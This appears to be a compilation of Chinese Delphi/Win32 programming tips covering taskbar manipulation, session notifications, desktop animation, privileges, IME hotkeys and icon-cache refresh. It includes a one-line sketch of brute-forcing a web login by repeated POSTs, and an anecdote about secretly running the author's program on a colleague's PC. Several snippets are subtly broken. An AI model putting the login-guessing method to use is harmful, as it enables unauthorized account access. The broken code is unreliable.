ShowWindow(ToolbarWnd,sw_show)

else

ShowWindow(ToolbarWnd,sw_hide)

end;

// 显示、隐藏任务栏的Shell Notify图标，比如金山词霸的图标

procedure ShowTaskbarApplicationButton(bShow: boolean);

var

TrayWnd, ReBarWnd, MSTaskWnd, SysTabWnd : Hwnd;

begin

TrayWnd := FindWindow('Shell_TrayWnd', nil);

ReBarWnd := FindWindowEx(TrayWnd,0,'ReBarWindow32', nil);

MSTaskWnd := FindWindowEx(TrayNWnd,0,'MSTaskSwWClass', nil);

SysTabWnd := FindWindowEx(ToolbarWnd,0,'SysTabControl32', nil);

if bShow then

ShowWindow(SysTabWnd,sw_show)

else

ShowWindow(SysTabWnd, sw_hide)

end;

// 显示、隐藏任务栏的所有应用程序任务栏

我使用以上的代码写了一个小程序并悄悄地"应用"到我一个同事的电脑上，看着光秃秃的Taskbar，他整整安装了五套杀毒软件对硬盘一阵猛扫，哈哈。 ^_^

三、深入一点研究Taskbar

    最近一次开始对Taskbar重新发生兴趣也是因为网友在OICQ上面向我提出一个问题 -- "如何列举Taskbar上面显示的所有应用程序任务窗口"。

    我翻阅了很多资料，并没有看到直接的解决方案，于是我变通的使用了另外一种解决方案。我使用了EnumWindiws函数 -- 枚举系统所有窗口，当然也包括了Taskbar上面的任务栏窗口。对窗口风格熟悉的朋友一定知道，对于一个窗口，如果具有WS_EX_TOOLWINDOW属性的窗口，是没有Taskbar的任务栏窗口的，很多资料演示了运行期修改窗口为WS_EX_TOOLWINDOW来隐藏Taskbar的任务窗口。另外，被隐藏的窗口也是没有Taskbar的相应窗口的，但是，仅仅这两个条件并不足以分辨出来窗口究竟是普通应用程序窗口，还是Taskbar任务栏窗口。

    很偶然的机会下，我看到了一个相似的范例，终于得知，使用GetWindowLong函数的GWL_HWNDPARENT参数返回特定窗口的父窗口时，Taskbar的任务窗口一定是调用失败的，调用GetLastError返回的错误代码是998，通过RaizeLastWin32Error函数，我们知道该Exception名为："Invalid access to memory location"，这是一个比较常见的Exception，对此我也没有什么好的解释，事实上通过这个条件确实可以分辨出普通应用程序窗口和Taskbar任务窗口。以下代码片断演示了如何枚举并分拣出来Taskbar任务窗口。

function GetText(Wnd : HWND) : string;

var

textlength : integer;

text : PChar;

begin

textlength:=SendMessage(Wnd,WM_GETTEXTLENGTH,0,0);

if textlength=0 then

Result := ''

else begin

getmem(text,textlength+1);

SendMessage(Wnd,WM_GETTEXT,textlength+1,Integer(text));

Result:=text;

freemem(text);

end;

end;

function EnumWindowsProc (Wnd: HWND; LParam: LPARAM): BOOL; stdcall;

begin

Result := True;

if (IsWindowVisible(Wnd)) and

(GetWindowLong(Wnd, GWL_HWNDPARENT) = 0) and

(GetWindowLong(Wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW = 0) then

Form1.Listbox1.items.add('Handle:'+Inttostr(Wnd)+',Text:'+GetText(Wnd));

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Param : Longint;

begin

EnumWindows(@EnumWindowsProc , Param);

end;

    参阅：http://msdn.microsoft.com/library/wcedoc/wcesdkr/_tools_exstyle_statement.htm

    本文所有代码经过我的测试，如果在您有任何疑问，欢迎一起探讨。衷心希望本文可以骗取ChinaPub的"Money"用以购买书籍（我还差500多 L），另外还要说的是，Kingron个王八蛋，版权所有，不准Copy俺的独家文字。（开玩笑的 J）

DragonPC(dragonpc@21cn.com)

作者会员名：dragonpc


任务栏的任务按钮的显示和隐藏
我们知道，Windows都有一个任务栏，你打开一个程序，在任务栏上面就会有一个按钮，那么能不能隐藏那些任务按钮呢？可以：

{

In this article, I wish to describe the useful undocumented function

GetTaskmanWindow. The GetTaskmanWindow function returns a handle to

the window that ownes the taskbar buttons.

Here is the quoting about taskbar from Microsoft MSDN:

"The Microsoft? Windows? interface includes a special application desktop

toolbar called the taskbar.

The taskbar can be used for such tasks as switching between open

windows and starting new applications..."

and "The taskbar includes the Start menu, taskbar buttons,

a shortcut menu, and a status area...".

Unfortunately, Win32 API doesn't contain documented

function that can be used for accessing to the

taskbar so we should again use an undocumented way.

Here is the prototype for GetTaskmanWindow:

function GetTaskmanWindow (): HWND;

As always, Microsoft doesn't provide us with the exports symbols

in the User32.lib for this function, so we should load them dynamically using the

GetProcAddress and GetModuleHandle functions:

}

// getaskmanwnd.cpp (Windows NT/2000)

//

// This example will show you how you can obtain a handle to the

// Windows Taskbar window.

// Translated from C to Delphi by Thomas Stutz

// Original Code:

// (c)1999 Ashot Oganesyan K, SmartLine, Inc

// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

function TaskmanWindow: HWND;

type

TGetTaskmanWindow = function(): HWND; stdcall;

var

hUser32: THandle;

GetTaskmanWindow: TGetTaskmanWindow;

begin

Result := 0;

hUser32 := GetModuleHandle('user32.dll');

if (hUser32 > 0) then

begin

@GetTaskmanWindow := GetProcAddress(hUser32, 'GetTaskmanWindow');

if Assigned(GetTaskmanWindow) then

begin

Result := GetTaskmanWindow;

end;

end;

end;

procedure ShowTaskmanWindow(bValue: Boolean);

var

hTaskmanWindow: Hwnd;

begin

hTaskmanWindow := TaskmanWindow;

if hTaskmanWindow <> 0 then

begin

ShowWindow(GetParent(hTaskmanWindow), Ord(bValue));

end;

end;

// Example to Hide the Taskman Window

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowTaskmanWindow(True);

end;


接收注销、重器、锁定工作站等消息(XP)
接收注销、重器、锁定工作站等消息(XP)？

receive session switch notifications (XP)?

{

Typically, an application does not need to be notified when a session switch

occurs. However, if the application needs to be aware when its desktop is

current, it can register for session switch notifications. Applications that

access the serial port or another shared resource on the computer should

check for this. To register for a notification, use the following function:

}

function WTSRegisterSessionNotification(

hWnd: HWND , // Window handle

dwFlags: DWORD // Flags

): Bool; // Return value

{

The registered HWND receives the message WM_WTSSESSION_CHANGE

through its WindowProc function.

In dwFlags you can specify:

a) NOTIFY_FOR_THIS_SESSION. A window is notified only about the session

change events that affect the session to which window belongs.

b) NOTIFY_FOR_ALL_SESSIONS. A window is notified for all session change

events.

The action happening on the session can be found in wParam code, which may

contain one of the following flags.

WTS_CONSOLE_CONNECT: A session was connected to the console session.

WTS_CONSOLE_DISCONNECT: A session was disconnected from the console session.

WTS_REMOTE_CONNECT: A session was connected to the remote session.

WTS_REMOTE_DISCONNECT: A session was disconnected from the remote session.

WTS_SESSION_LOGON: A user has logged on to the session.

WTS_SESSION_LOGOFF: A user has logged off the session.

WTS_SESSION_LOCK: A session has been locked.

WTS_SESSION_UNLOCK: A session has been unlocked.

WTS_SESSION_REMOTE_CONTROL: A session has changed its remote controlled status.

lParam contains the sessionId for the session affected.

When your process no longer requires these notifications or is terminating,

it should call the following to unregister its notification.

}

function WTSUnRegisterSesssionNotification(

hWnd: HWND // window handle.

): Boolean; // Result

{

The HWND values passed to WTSRegisterSessionNotification are reference

counted, so you must call WTSUnRegisterSessionNotification exactly the same

number of times that you call WTSRegisterSessionNotification.

Applications can use the WTS_CONSOLE_CONNECT, WTS_CONSOLE_DISCONNECT,

WTS_REMOTE_CONNECT, WTS_REMOTE_DISCONNECT messages to track their state, as

well as to release and acquire console specific resources.

}

unit Wtsapi;

interface

{ (c) By Thomas Stutz 10. April 02 }

uses

Windows;

const

// The WM_WTSSESSION_CHANGE message notifies applications of changes in session state.

WM_WTSSESSION_CHANGE = $2B1;

// wParam values:

WTS_CONSOLE_CONNECT = 1;

WTS_CONSOLE_DISCONNECT = 2;

WTS_REMOTE_CONNECT = 3;

WTS_REMOTE_DISCONNECT = 4;

WTS_SESSION_LOGON = 5;

WTS_SESSION_LOGOFF = 6;

WTS_SESSION_LOCK = 7;

WTS_SESSION_UNLOCK = 8;

WTS_SESSION_REMOTE_CONTROL = 9;

// Only session notifications involving the session attached to by the window

// identified by the hWnd parameter value are to be received.

NOTIFY_FOR_THIS_SESSION = 0;

// All session notifications are to be received.

NOTIFY_FOR_ALL_SESSIONS = 1;

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;

function UnRegisterSessionNotification(Wnd: HWND): Boolean;

function GetCurrentSessionID: Integer;

implementation

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;

// The RegisterSessionNotification function registers the specified window

// to receive session change notifications.

// Parameters:

// hWnd: Handle of the window to receive session change notifications.

// dwFlags: Specifies which session notifications are to be received:

// (NOTIFY_FOR_THIS_SESSION, NOTIFY_FOR_ALL_SESSIONS)

type

TWTSRegisterSessionNotification = function(Wnd: HWND; dwFlags: DWORD): BOOL; stdcall;

var

hWTSapi32dll: THandle;

WTSRegisterSessionNotification: TWTSRegisterSessionNotification;

begin

Result := False;

hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');

if (hWTSAPI32DLL > 0) then

begin

try @WTSRegisterSessionNotification :=

GetProcAddress(hWTSAPI32DLL, 'WTSRegisterSessionNotification');

if Assigned(WTSRegisterSessionNotification) then

begin

Result:= WTSRegisterSessionNotification(Wnd, dwFlags);

end;

finally

if hWTSAPI32DLL > 0 then

FreeLibrary(hWTSAPI32DLL);

end;

end;

end;

function UnRegisterSessionNotification(Wnd: HWND): Boolean;

// The RegisterSessionNotification function unregisters the specified window

// Parameters:

// hWnd: Handle to the window

type

TWTSUnRegisterSessionNotification = function(Wnd: HWND): BOOL; stdcall;

var

hWTSapi32dll: THandle;

WTSUnRegisterSessionNotification: TWTSUnRegisterSessionNotification;

begin

Result := False;

hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');

if (hWTSAPI32DLL > 0) then

begin

try @WTSUnRegisterSessionNotification :=

GetProcAddress(hWTSAPI32DLL, 'WTSUnRegisterSessionNotification');

if Assigned(WTSUnRegisterSessionNotification) then

begin

Result:= WTSUnRegisterSessionNotification(Wnd);

end;

finally

if hWTSAPI32DLL > 0 then

FreeLibrary(hWTSAPI32DLL);

end;

end;

end;

function GetCurrentSessionID: Integer;

// Getting the session id from the current process

type

TProcessIdToSessionId = function(dwProcessId: DWORD; pSessionId: DWORD): BOOL; stdcall;

var

ProcessIdToSessionId: TProcessIdToSessionId;

hWTSapi32dll: THandle;

Lib : THandle;

pSessionId : DWord;

begin

Result := 0;

Lib := GetModuleHandle('kernel32');

if Lib <> 0 then

begin

ProcessIdToSessionId := GetProcAddress(Lib, '1ProcessIdToSessionId');

if Assigned(ProcessIdToSessionId) then

begin

ProcessIdToSessionId(GetCurrentProcessId(), DWORD(@pSessionId));

Result:= pSessionId;

end;

end;

end;

end.

// Example:

unit Unit1;

interface

uses

Windows, Messages, {...}, Wtsapi;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

FRegisteredSessionNotification : Boolean;

procedure AppMessage(var Msg: TMSG; var HAndled: Boolean);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.AppMessage(var Msg: TMSG; var Handled: Boolean);

var

strReason: string;

begin

Handled := False;

// Check for WM_WTSSESSION_CHANGE message

if Msg.Message = WM_WTSSESSION_CHANGE then

begin

case Msg.wParam of

WTS_CONSOLE_CONNECT:

strReason := 'WTS_CONSOLE_CONNECT';

WTS_CONSOLE_DISCONNECT:

strReason := 'WTS_CONSOLE_DISCONNECT';

WTS_REMOTE_CONNECT:

strReason := 'WTS_REMOTE_CONNECT';

WTS_REMOTE_DISCONNECT:

strReason := 'WTS_REMOTE_DISCONNECT';

WTS_SESSION_LOGON:

strReason := 'WTS_SESSION_LOGON';

WTS_SESSION_LOGOFF:

strReason := 'WTS_SESSION_LOGOFF';

WTS_SESSION_LOCK:

strReason := 'WTS_SESSION_LOCK';

WTS_SESSION_UNLOCK:

strReason := 'WTS_SESSION_UNLOCK';

WTS_SESSION_REMOTE_CONTROL:

begin

strReason := 'WTS_SESSION_REMOTE_CONTROL';

// GetSystemMetrics(SM_REMOTECONTROL);

end;

else

strReason := 'WTS_Unknown';

end;

// Write strReason to a Memo

Memo1.Lines.Add(strReason + ' ' + IntToStr(msg.Lparam));

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

// register the window to receive session change notifications.

FRegisteredSessionNotification := RegisterSessionNotification(Handle, NOTIFY_FOR_THIS_SESSION);

Application.OnMessage := AppMessage;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

// unregister session change notifications.

if FRegisteredSessionNotification then

UnRegisterSessionNotification(Handle);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

// retrieve current session ID

ShowMessage(Inttostr(GetCurrentSessionID));

end;


安装屏幕保护程序
uses

shellapi;

procedure InstallScreenSaver(const FileName: string);

begin

{ Set this screensaver as default screensaver and open the properties dialog}

ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),

PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

InstallScreenSaver('c:\YourScreenSaverFile.scr');

end;


浅析桌面精灵的实现
浅析桌面精灵的实现

1． 软件的开发目的

想必大家对桌面精灵很熟悉吧，想不想自己编一个？笔者非常想编一个，其目的居然是为了取得美眉的喜欢，由此引出了我开发本软件的目的。如果读者有我同样的需求，那么请继续看下去，我将和你共同探讨这个问题。注意以下示例代码均用DELPHI描述。

2． 实现原理

其实桌面精灵的原理很简单，主要分以下几步：

1.获取桌面窗口的HDC。

API 定义如下：

GetDC函数用于获取指定窗口的图形设备描述表

HDC GetDC(

HWND hWnd // 窗口句柄

);

例如：

DeskTopDC:HDC;//定义桌面窗口的图形设备描述表句柄

DeskTopDC:=GetDC(0);

或者DeskTopDC:=GetDC(GetDesktopWindow());

2.创建一个内存位图，把桌面中将要绘图的区域，保存到内存位图中去，以便绘图完成时恢复桌面。为此我定义了一个函数：

procedure savebackground(BKCanvas :TCanvas;//内存位图的画布对象

sp_w:integer;//要保存区域的宽度

sp_h :integer ;//要保存区域的高度

nx:integer;//要保存区域的X坐标

ny:integer);//要保存区域的Y坐标

3.将动画对象透明地拷贝到桌面的绘图区域，笔者用了一个GDIAPI函数方便地实现了此功能。

定义如下：

BOOL TransparentBlt(HDC hdcDest,//目标图形设备描述表句柄

int nXOriginDest,//绘图矩形的X坐标

int nYOriginDest,//绘图矩形的Y坐标

int nWidthDest,//绘图矩形的宽度

int hHeightDest,//绘图矩形的高度

HDC hdcSrc,//源图形设备描述表句柄

int nXOriginSrc,//源绘图矩形的X坐标

int nYOriginSrc,//源绘图矩形的Y坐标

int nWidthSrc,//源绘图矩形的宽度

int nHeightSrc,//源绘图矩形的高度

UINT crTransparent//设置透明色RGB(r,g,b)

);

注意：

Windows NT: 需要5.0或以上版本

Windows: 需要 Windows 98 或 以上版本

其它低版本不支持。

此函数包含在msimg32.dll.

笔者定义了一个tranbit函数来动态调用TransparentBlt函数，具体定义见第三节。

4.将第二步生成的内存位图拷贝到桌面。这样一帧动画就显示完成。不断循环1-4步，你就能看到连续的动画场景了。

3．具体代码

以下是一个演示程序，在DELPHI5.0+WINDOWS2000P中调试通过。创建一个窗体Form1,放上两个Image控件,命名为Image1,Image2，再放上一个Timer控件，命名为Timer1。准备两张位图，一张放入Image1,另一张放入Image2。笔者用了如下样式的位图（截取了一部分），你可以自己画动画对象，也可以借用别人的，笔者就是用微软画的图片。

从图片你可以看出，图片中包括了许多连续的动画帧，一张图片完成一个动作，如旋转一周等，每帧动画大小完全一样，除了动画对象其它像素用一种透明色填充。好了你可以看具体的代码了。

unit Unitmain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls,mmsystem;

type

TForm1 = class(TForm)

Timer1: TTimer;//爆炸定时器

Image1: TImage;//储存爆炸的图片

Image2: TImage;//储存飞行器的图片

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

DeskTopDC:HDC;//桌面窗口的图形设备描述表句柄

stop:boolean;//控制循环的变量

expnum:integer;//爆炸的当前次数

procedure Explode(X:integer;Y:integer);//爆炸函数

procedure shipmove(X:integer;Y:integer);//飞行器函数

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//保存桌面背景

procedure savebackground(BKCanvas :TCanvas;

sp_w:integer;

sp_h :integer ;

nx:integer;

ny:integer);

var sc:TCanvas;

begin

sc:=TCanvas.Create;

try

sc.Handle:=GetDC(0);

bkcanvas.CopyRect( rect(0,0,sp_w, sp_h), sc,rect(nx, ny, nx+sp_w, ny+sp_h));

ReleaseDC(0, sc.handle);

finally

sc.free;

end;

end;

//透明拷贝图像函数

//静态调用API函数TransparentBlt

procedure tranbit(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT) ;

Var

LibHandle:HWND;//动态连接库句柄

//函数原型定义

DllName:Procedure(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT);Stdcall;

begin

//以下是静态调用dll中函数的例行公事

LibHandle:=LoadLibrary('msimg32.dll');

if LibHandle<32 then

begin

MessageBox(Form1.Handle,'Not Found msimg32.dll','Error',0);

Exit;

end;

@DllName:=GetProcAddress(LibHandle,'TransparentBlt');

if @DllName=nil then

begin

MessageBox(Form1.Handle,'Not Found TransparentBlt in msimg32.dll','Error',0);

FreeLibrary(LibHandle);

Exit;

end;

try

TransparentBlt(hdcDest,

nXOriginDest,

nYOriginDest,

nWidthDest,

hHeightDest,

hdcSrc,

nXOriginSrc,

nYOriginSrc,

nWidthSrc,

nHeightSrc,

crTransparent);

finally

FreeLibrary(LibHandle);

end;

end;

//爆炸函数

//在桌面的X,Y坐标处发生爆炸

procedure TForm1.Explode(X:integer;Y:integer);

var

BitMapB : TBitMap;//保存桌面指定区域的内存位图

w:integer;//一帧动画的宽度

h:integer;//一帧动画的高度

i:integer;

j:integer;

begin

BitMapB:=TBitMap.Create;

try

//动画位图为4*5=20帧

w:=Image1.Width div 4;//计算每帧的宽度

h:=image1.Height div 5;//计算每帧的高度

//初始化内存为图的大小

BitMapB.Height :=h;

BitMapB.Width :=w;

//保存桌面上指定区域的位图

//注意，由于爆炸是在同一位置完成的，所以只要保存爆炸区域一次就行了。

savebackground(BitMapB.canvas,w,h,X,Y);

for i:=0 to 4 do

begin

for j:=0 to 3 do

begin

//把相应帧画到桌面上

tranbit(DeskTopDC ,x,y,w,h,

image1.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

Sleep(20);//显示速度太快，停顿20毫秒

//恢复桌面

bitblt(DeskTopDC,X,Y,w,h,BitMapB.Canvas.handle,0,0,srccopy);

end;

end;

finally

BitMapB.Free;

end;

end;

//飞行器的飞行函数

//参数x,y指定飞行器飞行的目的地

procedure TForm1.shipmove(X:integer;Y:integer);

var

w:integer;

h:integer;

i:integer;

j:integer;

k:integer;

l:integer;

BitMapB : TBitMap;

begin

Randomize();

BitMapB:=TBitMap.Create;

try

//动画位图为4*16-3帧空帧=61帧

w:=Image2.Width div 4;

h:=image2.Height div 16;

BitMapB.Height :=h;

BitMapB.Width :=w;

k:=0;

l:=0;

while not stop do

for i:=0 to 15 do

for j:=0 to 3 do

begin

if (i=15) and (i>0) then break;//如果是空帧就不画了

//保存桌面上指定区域的位图

//注意，由于飞行是在不同位置完成的，所以要保存即将被绘图的桌面区域

savebackground(BitMapB.canvas,w,h,k,l);

tranbit(DeskTopDC ,k,l,w,h,image2.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

sleep(10);

bitblt(DeskTopDC,k,l,w,h,BitMapB.Canvas.handle,0,0,srccopy);

if(k<x)then k:=k+1;

if(l<y)then l:=l+1;

if timer1.Enabled =false then

if(k>x-10)then//到达目的地就停止飞行，并引爆炸弹

begin

stop:=true;

timer1.Enabled :=true;//炸弹引爆器

end;

end;

finally

BitMapB.Free;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

x,y:integer;

begin

if(expnum = 0) then

begin

Explode(screen.width div 2-20,screen.Height div 2-20);

sndPlaySound('explosion.wav',SND_NOSTOP);

expnum:=expnum+1;

end

else if expnum<10 then//爆炸最多10次

begin

//产生随机位置

x:=Random(screen.Width-100);

y:=Random(Screen.Height-100);

Explode(x,y);//爆炸

sndPlaySound('explosion.wav',SND_NOSTOP);//播放爆炸声音

expnum:=expnum+1;

end

else

begin

stop:=true;

timer1.Enabled :=false;

close();

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

DeskTopDC:=GetDC(0);

chdir(ExtractFilePath(application.ExeName));

stop:=false;

expnum:=0;

//飞行器开始飞行，目的地为屏幕中央

self.shipmove(screen.width div 2,screen.Height div 2);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

stop:=true;

Timer1.Enabled :=false;

ReleaseDC(0, DeskTopDC);

end;

end.

4.结束语

正如我们所希望的那样：一个飞行器飞入桌面，慢慢向屏幕中央靠近，当它到达目的地时就爆炸了，并引出一连串的爆炸。程序顺利地完成了我们的希望，但是程序还有许多不足，最好用directx来完成动画，这样效果可能会更好。如谁对其感兴趣的话，发E_MAIL给我，我们一起探讨。（E_MAIL:CODEHUNTER@SOHU.COM）


列出系统所有特权(WinNT/2k/xp)
系统中有哪些特权？

list the user privileges (NT)?

procedure TForm1.Button1Click(Sender: TObject);

const

TokenSize = 800; // (SizeOf(Pointer)=4 *200)

var

hToken: THandle;

pTokenInfo: PTOKENPRIVILEGES;

ReturnLen: Cardinal;

i: Integer;

PrivName: PChar;

DisplayName: PChar;

NameSize: Cardinal;

DisplSize: Cardinal;

LangId: Cardinal;

begin

GetMem(pTokenInfo, TokenSize);

if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,

hToken) then ShowMessage('OpenProcessToken error');

if not GetTokenInformation(hToken, TokenPrivileges, pTokenInfo, TokenSize, ReturnLen) then

ShowMessage('GetTokenInformation error');

GetMem(PrivName, 255);

GetMem(DisplayName, 255);

for i := 0 to pTokenInfo.PrivilegeCount - 1 do

begin

DisplSize := 255;

NameSize := 255;

LookupPrivilegeName(nil, pTokenInfo.Privileges[i].Luid, PrivName, Namesize);

LookupPrivilegeDisplayName(nil, PrivName, DisplayName, DisplSize, LangId);

ListBox1.Items.Add(PrivName +^I + DisplayName);

end;

FreeMem(PrivName);

FreeMem(DisplayName);

FreeMem(pTokenInfo);

end;


如何实现溯雪的密码探测功能
不知你注意到D5的FASTNET控件面板没有

其中的NMHTTP就可以实现

原理是不断

NMHTTP.POST('http://abc.asp','?name=xx&password=xxx');


监测是否在锁定模式
监测是否在锁定模式？

Win2K/XP/NT都有锁定工作站功能？那么我的程序如何知道是在锁定模式？

请到这里搜索 http://msdn.microsoft.com/library/default.asp 关键字：Winlogon notification package


设置输入法的热键
用SystemParametersInfo应该可以。

The SystemParametersInfo function queries or sets systemwide

parameters. This function can also update the user profile

while setting a parameter.

BOOL SystemParametersInfo(

UINT uiAction, // system parameter to query or set

UINT uiParam, // depends on action to be taken

PVOID pvParam, // depends on action to be taken

UINT fWinIni // user profile update flag

);

其中 uiAction有个SPI_SETLANGTOGGLE参数：

SPI_SETLANGTOGGLE: Sets the hot key set for switching between input

languages. The uiParam and pvParam parameters are

not used. The value sets the shortcut keys in the

keyboard property sheets by reading the registry

again. The registry must be set before this flag

is used. the path in the registry is

_CURRENT_USERlayout. Valid

values are "1" = ALT+SHIFT, "2" = CTRL+SHIFT, and

"3" = none.

>>各位能给个简单的例子吗如设置ALT+3为拼音输入法？

uses ..., Registry;

procedure TForm1.Button1Click(Sender: TObject);

var

myReg: TRegistry;

const

buf1: array[0..3] of Byte = ($01, $c0, $00, $00);

buf2: array[0..3] of Byte = ($04, $08, $01, $e0);

buf3: array[0..3] of Byte = ($33, $00, $00, $00);

begin

myReg := TRegistry.Create;

try

myReg.RootKey := HKEY_CURRENT_USER;

if myReg.OpenKey('Control PanelMethodKeys00000100', True) then

begin

myReg.WriteBinaryData('Key Modifiers', buf1, 4);

myReg.WriteBinaryData('Target IME', buf2, 4);

myReg.WriteBinaryData('Virtual Key', buf3, 4);

end;

myReg.CloseKey;

finally

myReg.Free;

end;

end;

重新启动计算机，Alt+3即为全拼输入法的热键。


刷新系统
SHChangeNotify(SHCNE_ASSOCCHANGED,SHCNF_IDLIST+SHCNF_FLUSH,nil,nil);//刷新文件关联图标

其中SHChangeNotify还有多个地方可以刷新，具体的看帮助！

SHChangeNotify(SHCNE_ALLEVENTS , SHCNF_FLUSH,nil,nil);//发生所有的事件，系统应该刷新响应的项目

function SHUpdateRecycleBinIcon():boolean;stdcall;external 'shell32.dll' name 'SHUpdateRecycleBinIcon';//刷新回收站图标

SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0);//通知系统设置改变

var

buf:pchar;

...

getmem(buf,SizeOfBuf);//

strpcopy(buf,'注册表的主键，例如Software');

SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,buf);

//通知系统刷新响应的键值，如果前面的没有起作用，那么可以采用这个方法。

systemparametersinfo(SPI_SETDESKWALLPAPER,0,pchar(path),0);

//上面的是通知系统更改了墙纸，其中path为墙纸的路径。

同样，SystemParametersInfo()还可以对系统进行很多方面的刷新，例如更改了桌面的大小等等，你可以看看帮助，我不可能在这儿把所有的都写出来。

如果修改注册表，有的时候，需要发送全部的路径，但是，有的时候，不需要发送全部的路径！只要叶子结点的名称即可，例如修改系统环境变量，就只要叶子结点名字：Environment即可！因此，什么时候用，什么时候不用全路径，只有自己摸索，该死的M$没有说明。

要做到象Tweak UI那样Rebuild ICON，可以采用下面的方法：

：delphifan

这个问题确实很有意思,害得我找了很久,请看答案:

Reg := TRegistry.Create;

try

//设置图标

Reg.RootKey := HKEY_LOCAL_MACHINE;

if Reg.OpenKey('Icons',True) then

Reg.WriteString('3','C:.dll,15');

//修改icon size

Reg.RootKey := HKEY_CURRENT_USER;

if Reg.OpenKey('Panel', True)

then Reg.WriteString('Shell Icon Size','31');

//通知windows

SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);

//当然别忘了改回来

Reg.WriteString('Shell Icon Size','32');

SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);

finally

Reg.CloseKey;

Reg.Free;

end;

关键是强迫windows重新刷新 icon cache,通过修改icon大小是一种可行的办法,

虽不排除有其他办法,但试验了几个没通过,大家不妨多发掘一下.

********************************

下面是完整的代码：

{

Microsoft's Tweak UI has a feature 'rebuild icon cache now'.

Windows then rebuilds its internal cache of icons.

Unfortunately, there is no single API to do this.

}

uses

Registry;

function RefreshScreenIcons : Boolean;

const

KEY_TYPE = HKEY_CURRENT_USER;

KEY_NAME = 'Control Panel';

KEY_VALUE = 'Shell Icon Size';

var

Reg: TRegistry;

strDataRet, strDataRet2: string;

procedure BroadcastChanges;

var

success: DWORD;

begin

SendMessageTimeout(HWND_BROADCAST,

WM_SETTINGCHANGE,

SPI_SETNONCLIENTMETRICS,

0,

SMTO_ABORTIFHUNG,

10000,

success);

end;

begin

Result := False;

Reg := TRegistry.Create;

try

Reg.RootKey := KEY_TYPE;

// 1. open HKEY_CURRENT_USERPanel

if Reg.OpenKey(KEY_NAME, False) then

begin

// 2. Get the value for that key

strDataRet := Reg.ReadString(KEY_VALUE);

Reg.CloseKey;

if strDataRet <> '' then

begin

// 3. Convert sDataRet to a number and subtract 1,

// convert back to a string, and write it to the registry

strDataRet2 := IntToStr(StrToInt(strDataRet) - 1);

if Reg.OpenKey(KEY_NAME, False) then

begin

Reg.WriteString(KEY_VALUE, strDataRet2);

Reg.CloseKey;

// 4. because the registry was changed, broadcast

// the fact passing SPI_SETNONCLIENTMETRICS,

// with a timeout of 10000 milliseconds (10 seconds)

BroadcastChanges;

// 5. the desktop will have refreshed with the

// new (shrunken) icon size. Now restore things

// back to the correct settings by again writing

// to the registry and posing another message.

if Reg.OpenKey(KEY_NAME, False) then

begin

Reg.WriteString(KEY_VALUE, strDataRet);

Reg.CloseKey;

// 6. broadcast the change again

BroadcastChanges;

Result := True;

end;

end;

end;

end;

finally

Reg.Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

RefreshScreenIcons

end;

{

The result is Window's erasing all its icons, and recalculating them

based on the registry settings.

This means if you have changed a DefaultIcon key within the registry for

some application or file, Windows will display the new icon when the

refresh is completed.

Original source:

www.mvps.org/vbnet/index.html?code/reg/screenrefresh.htm

Translated from VB by Thomas Stutz

}


系统图像列表
uses shellapi;

第一步 取得系统的图标列表的句柄，将之赋予一个图像列表控件。

procedure GetSystemImageList(imagelist:TImageList);

var

SysIL: THandle;

SFI: TSHFileInfo;

begin

// 取小图标，如果将SHGFI_SMALLICON替换成

//SHGFI_LARGEICON则表示取大图标

SysIL := SHGetFileInfo('', 0, SFI, SizeOf(SFI),

SHGFI_SYSICONINDEX or SHGFI_SMALLICON);

if SysIL <> 0 then begin

//将imagelist的图像列表句柄指向系统图像句柄

imagelist.Handle := SysIL;

//防止组件释放时释放图像句柄，很重要

imagelist.ShareImages := TRUE;

end;

end;

第二步 取得要处理文件的图标索引

//取一个文件的图标索引

function GetIconIndex(const AFile: string; Attrs: DWORD): integer;

//Attrs可以为表示文件或路径FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_DIRECTORY

var

SFI: TSHFileInfo;

begin

SHGetFileInfo(PChar(AFile), Attrs, SFI, SizeOf(TSHFileInfo),

SHGFI_SYSICONINDEX or SHGFI_USEFILEATTRIBUTES);

